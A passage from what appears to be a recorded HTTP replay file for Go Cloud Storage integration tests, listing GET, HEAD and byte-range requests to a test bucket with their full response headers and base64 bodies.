zNDMyMDEzLTAwMDEvb2JqMi8xNTU2ODM1ODQ1MDQ5MjQ1L3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoyL2FjbC9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0Ijoib2JqMiIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQ1MDQ5MjQ1IiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNKMlhrcnp4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoyLzE1NTY4MzU4NDUwNDkyNDUvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajIvYWNsL3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmoyIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDUwNDkyNDUiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDSjJYa3J6eC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6ImpWNUFWUT09IiwiZXRhZyI6IkNKMlhrcnp4L2VFQ0VBRT0ifV19" - } - }, - { - "ID": "c05bfa6f1a43381b", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/obj1", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "public, max-age=60" - ], - "Content-Length": [ - "16" - ], - "Content-Type": [ - "text/plain" - ], - "Date": [ - "Thu, 02 May 2019 22:24:11 GMT" - ], - "Etag": [ - "\"4a76bf516bfb99c648db7a04e6d51a6d\"" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:11 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:24:04 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Expiration": [ - "Sat, 01 Jun 2019 22:24:04 GMT" - ], - "X-Goog-Generation": [ - "1556835844647225" - ], - "X-Goog-Hash": [ - "crc32c=CT6dTA==", - "md5=Sna/UWv7mcZI23oE5tUabQ==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "16" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrVVjXVa2SMY6cjYeIgdcZOivQwE2Crz6UPZs2VXVBFMwReZs7kKbETuTMwuEMHKKm_LIrk-o6jS07MimubSWVxGMzT1BtCacU1X2Go_RckmyJPZso" - ] - }, - "Body": "TuDshcL7vdCAXh8L42NvEQ==" - } - }, - { - "ID": "f2932604385db16e", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/obj1", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "public, max-age=60" - ], - "Content-Length": [ - "16" - ], - "Content-Type": [ - "text/plain" - ], - "Date": [ - "Thu, 02 May 2019 22:24:12 GMT" - ], - "Etag": [ - "\"4a76bf516bfb99c648db7a04e6d51a6d\"" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:12 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:24:04 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Expiration": [ - "Sat, 01 Jun 2019 22:24:04 GMT" - ], - "X-Goog-Generation": [ - "1556835844647225" - ], - "X-Goog-Hash": [ - "crc32c=CT6dTA==", - "md5=Sna/UWv7mcZI23oE5tUabQ==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "16" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrADckAOw2vMHdy0qy02f20x-8s_Ue81-NYwSpKeqp6Zx6eCPReLM6qXUyxFz0xHNGob5WJA8J4ctl6ZFzL2fEVwBMNY8xxzpkKOAwSu9n9e0OE63E" - ] - }, - "Body": "TuDshcL7vdCAXh8L42NvEQ==" - } - }, - { - "ID": "8581afc6216ad2cb", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/obj2", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "public, max-age=60" - ], - "Content-Length": [ - "16" - ], - "Content-Type": [ - "text/plain" - ], - "Date": [ - "Thu, 02 May 2019 22:24:12 GMT" - ], - "Etag": [ - "\"082d70970acc388ab476f32433295486\"" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:12 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:24:05 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Expiration": [ - "Sat, 01 Jun 2019 22:24:05 GMT" - ], - "X-Goog-Generation": [ - "1556835845049245" - ], - "X-Goog-Hash": [ - "crc32c=jV5AVQ==", - "md5=CC1wlwrMOIq0dvMkMylUhg==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "16" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrkoYpGTn57WC5t-sItsEdWimp47AtSuqw8autFOD3TirChrdQThg_Fh-kykfgvnTaOyiw1InKeYs0Z2MISmjUpu4uHUUGDKTX6W0zQEuUks7i2BqQ" - ] - }, - "Body": "55GZ37DvGFQS3PnkEKv3Jg==" - } - }, - { - "ID": "ae129e597d5dd3e8", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/obj2", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "public, max-age=60" - ], - "Content-Length": [ - "16" - ], - "Content-Type": [ - "text/plain" - ], - "Date": [ - "Thu, 02 May 2019 22:24:12 GMT" - ], - "Etag": [ - "\"082d70970acc388ab476f32433295486\"" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:12 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:24:05 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Expiration": [ - "Sat, 01 Jun 2019 22:24:05 GMT" - ], - "X-Goog-Generation": [ - "1556835845049245" - ], - "X-Goog-Hash": [ - "crc32c=jV5AVQ==", - "md5=CC1wlwrMOIq0dvMkMylUhg==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "16" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoaoET13zBO6-kmfarxy5tCZhmqc2oO38xOd6m6OQ55e-MyyKYM35hNakm5xYdWaoUNsKwVCiklp4HtYE8afVObxcDERuTCgyTw-olewCN6VBwd-H0" - ] - }, - "Body": "55GZ37DvGFQS3PnkEKv3Jg==" - } - }, - { - "ID": "11acf26dc7680b3e", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/obj/with/slashes", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "public, max-age=60" - ], - "Content-Length": [ - "16" - ], - "Content-Type": [ - "text/plain" - ], - "Date": [ - "Thu, 02 May 2019 22:24:12 GMT" - ], - "Etag": [ - "\"b9ecff849eb002b78342771c0d47717e\"" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:12 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:24:05 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Expiration": [ - "Sat, 01 Jun 2019 22:24:05 GMT" - ], - "X-Goog-Generation": [ - "1556835845511018" - ], - "X-Goog-Hash": [ - "crc32c=oeo+FA==", - "md5=uez/hJ6wAreDQnccDUdxfg==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "16" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Up_XtsS2bu4fnGI-Z85gqz1MECYqweRqin42arAyEfpJpZwmadI1-Op9V7n-q3UaYyRtUWFR7an7zKxWhJ_CB6PXz-C55C1nPoI7EWVEV2oXcS-q8c" - ] - }, - "Body": "kT7fkMXrRdrhn2P2+EeT5g==" - } - }, - { - "ID": "ff72204b0c538268", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/obj/with/slashes", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "public, max-age=60" - ], - "Content-Length": [ - "16" - ], - "Content-Type": [ - "text/plain" - ], - "Date": [ - "Thu, 02 May 2019 22:24:12 GMT" - ], - "Etag": [ - "\"b9ecff849eb002b78342771c0d47717e\"" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:12 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:24:05 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Expiration": [ - "Sat, 01 Jun 2019 22:24:05 GMT" - ], - "X-Goog-Generation": [ - "1556835845511018" - ], - "X-Goog-Hash": [ - "crc32c=oeo+FA==", - "md5=uez/hJ6wAreDQnccDUdxfg==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "16" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqrjLdnTX47-_XGNBlBZ0rEgsIkYJMzixBaVmhjn8IsK66UpQAUO-njMM-WznI-DBNIbXVTcPQKZBNe2ZHZEskfuRjsFwMjtooyUH_PqTfZnARVv8M" - ] - }, - "Body": "kT7fkMXrRdrhn2P2+EeT5g==" - } - }, - { - "ID": "7972502f866e015e", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/obj1", - "Header": { - "Range": [ - "bytes=0-15" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "public, max-age=60" - ], - "Content-Length": [ - "16" - ], - "Content-Type": [ - "text/plain" - ], - "Date": [ - "Thu, 02 May 2019 22:24:12 GMT" - ], - "Etag": [ - "\"4a76bf516bfb99c648db7a04e6d51a6d\"" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:12 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:24:04 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Expiration": [ - "Sat, 01 Jun 2019 22:24:04 GMT" - ], - "X-Goog-Generation": [ - "1556835844647225" - ], - "X-Goog-Hash": [ - "crc32c=CT6dTA==", - "md5=Sna/UWv7mcZI23oE5tUabQ==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "16" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoNiJIZYFETpngMkDItRU7PtN7Fv4bDU7Kfvndst1JR2eGmW-tOMTfng8Abx6EWwPvvodLkSk-1TM4Gywxzh3c24gPDN4NsQMuh40Mfp0Jvg1syOls" - ] - }, - "Body": "TuDshcL7vdCAXh8L42NvEQ==" - } - }, - { - "ID": "251a62254c59cbd1", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/obj1", - "Header": { - "Range": [ - "bytes=0-7" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 206, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "public, max-age=60" - ], - "Content-Length": [ - "8" - ], - "Content-Range": [ - "bytes 0-7/16" - ], - "Content-Type": [ - "text/plain" - ], - "Date": [ - "Thu, 02 May 2019 22:24:12 GMT" - ], - "Etag": [ - "\"4a76bf516bfb99c648db7a04e6d51a6d\"" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:12 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:24:04 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Expiration": [ - "Sat, 01 Jun 2019 22:24:04 GMT" - ], - "X-Goog-Generation": [ - "1556835844647225" - ], - "X-Goog-Hash": [ - "crc32c=CT6dTA==", - "md5=Sna/UWv7mcZI23oE5tUabQ==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "16" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UobLFpkqodTM1bHuzS0GzRCKZypPQkf3nH1hbOexCjgjAcheZhV_zxJRyLhOYZoW8ABEaVMJLULNrzAm1VZs4JrTdtT46fYIcQe7OBeJp0aHI7Lr5s" - ] - }, - "Body": "TuDshcL7vdA=" - } - }, - { - "ID": "2482617229166e50", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/obj1", - "Header": { - "Range": [ - "bytes=8-23" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 206, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "public, max-age=60" - ], - "Content-Length": [ - "8" - ], - "Content-Range": [ - "bytes 8-15/16" - ], - "Content-Type": [ - "text/plain" - ], - "Date": [ - "Thu, 02 May 2019 22:24:12 GMT" - ], - "Etag": [ - "\"4a76bf516bfb99c648db7a04e6d51a6d\"" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:12 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:24:04 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Expiration": [ - "Sat, 01 Jun 2019 22:24:04 GMT" - ], - "X-Goog-Generation": [ - "1556835844647225" - ], - "X-Goog-Hash": [ - "crc32c=CT6dTA==", - "md5=Sna/UWv7mcZI23oE5tUabQ==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "16" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uon8ZtKgOTqFm36bWHd3hf535jPGQBEX9j2yPrr11_ycAJjfI4A-mFWMTsFRR3nwSo68784B9TUPUjQd0cib0QIrfBjfDcz91p6oPJG3VpV9afywIY" - ] - }, - "Body": "gF4fC+NjbxE=" - } - }, - { - "ID": "74ff0c5848c7dba6", - "Request": { - "Method": "HEAD", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/obj1", - "Header": { - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "public, max-age=60" - ], - "Content-Length": [ - "16" - ], - "Content-Type": [ - "text/plain" - ], - "Date": [ - "Thu, 02 May 2019 22:24:12 GMT" - ], - "Etag": [ - "\"4a76bf516bfb99c648db7a04e6d51a6d\"" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:12 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:24:04 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Expiration": [ - "Sat, 01 Jun 2019 22:24:04 GMT" - ], - "X-Goog-Generation": [ - "1556835844647225" - ], - "X-Goog-Hash": [ - "crc32c=CT6dTA==", - "md5=Sna/UWv7mcZI23oE5tUabQ==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "16" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqKc-08ZJEWVbyaV84xKlnrHkl2PBuBUQP6xtx6TzZW0fsjyZ-SHshiy-QMGCuP1UF4x1ettHyDvRbAleHIXy4y7wMwoUWST2NKs_0oRA0oVqOoKtQ" - ] - }, - "Body": "" - } - }, - { - "ID": "90888164f5d2d40d", - "Request": { - "Method": "HEAD", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/obj1", - "Header": { - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "public, max-age=60" - ], - "Content-Length": [ - "16" - ], - "Content-Type": [ - "text/plain" - ], - "Date": [ - "Thu, 02 May 2019 22:24:13 GMT" - ], - "Etag": [ - "\"4a76bf516bfb99c648db7a04e6d51a6d\"" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:13 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:24:04 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Expiration": [ - "Sat, 01 Jun 2019 22:24:04 GMT" - ], - "X-Goog-Generation": [ - "1556835844647225" - ], - "X-Goog-Hash": [ - "crc32c=CT6dTA==", - "md5=Sna/UWv7mcZI23oE5tUabQ==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "16" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoTSlg3r_LSoiqQyJVJDzL-0xNj6jlSNp9zLUmlPtu3xbhCLBDNAxY9CRbyEjw7UudDcsFOe43C3QlsVjoBJln1q179ZspYWXY-fHqjrztAfJkZUpU" - ] - }, - "Body": "" - } - }, - { - "ID": "7961f3dc74fa0663", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/obj1", - "Header": { - "Range": [ - "bytes=8-" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 206, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "public, max-age=60" - ], - "Content-Length": [ - "8" - ], - "Content-Range": [ - "bytes 8-15/16" - ], - "Content-Type": [ - "text/plain" - ], - "Date": [ - "Thu, 02 May 2019 22:24:13 GMT" - ], - "Etag": [ - "\"4a76bf516bfb99c648db7a04e6d51a6d\"" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:13 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:24:04 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Expiration": [ - "Sat, 01 Jun 2019 22:24:04 GMT" - ], - "X-Goog-Generation": [ - "1556835844647225" - ], - "X-Goog-Hash": [ - "crc32c=CT6dTA==", - "md5=Sna/UWv7mcZI23oE5tUabQ==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "16" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqJjC8HFLb8u_EaJVF0_TUOhNWhbooW0oANE8_LPjoIdLcoU42caZe7LjgbTIjCb0Ss3horP2noxirF3u3FGq0Yoh4rjuHBVhwZcemZHnKLgJUUbQQ" - ] - }, - "Body": "gF4fC+NjbxE=" - } - }, - { - "ID": "af8c1fcfa456592a", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/obj1", - "Header": { - "Range": [ - "bytes=0-31" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "public, max-age=60" - ], - "Content-Length": [ - "16" - ], - "Content-Type": [ - "text/plain" - ], - "Date": [ - "Thu, 02 May 2019 22:24:13 GMT" - ], - "Etag": [ - "\"4a76bf516bfb99c648db7a04e6d51a6d\"" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:13 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:24:04 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Expiration": [ - "Sat, 01 Jun 2019 22:24:04 GMT" - ], - "X-Goog-Generation": [ - "1556835844647225" - ], - "X-Goog-Hash": [ - "crc32c=CT6dTA==", - "md5=Sna/UWv7mcZI23oE5tUabQ==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "16" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uqq6ro5-i6q8pIDup0yW35uFEynuLK95P8OSFhj7b70DK33tjv3fkOdkobsfwplOAGuNME2bLjQuyy8mhd2xBbNjyjvXt13Nc48PB4M2t_46RoM3Ak" - ] - }, - "Body": "TuDshcL7vdCAXh8L42NvEQ==" - } - }, - { - "ID": "d312c241da5bd348", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/obj1", - "Header": { - "Range": [ - "bytes=32-41" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 416, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "public, max-age=60" - ], - "Content-Length": [ - "167" - ], - "Content-Type": [ - "application/xml; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:13 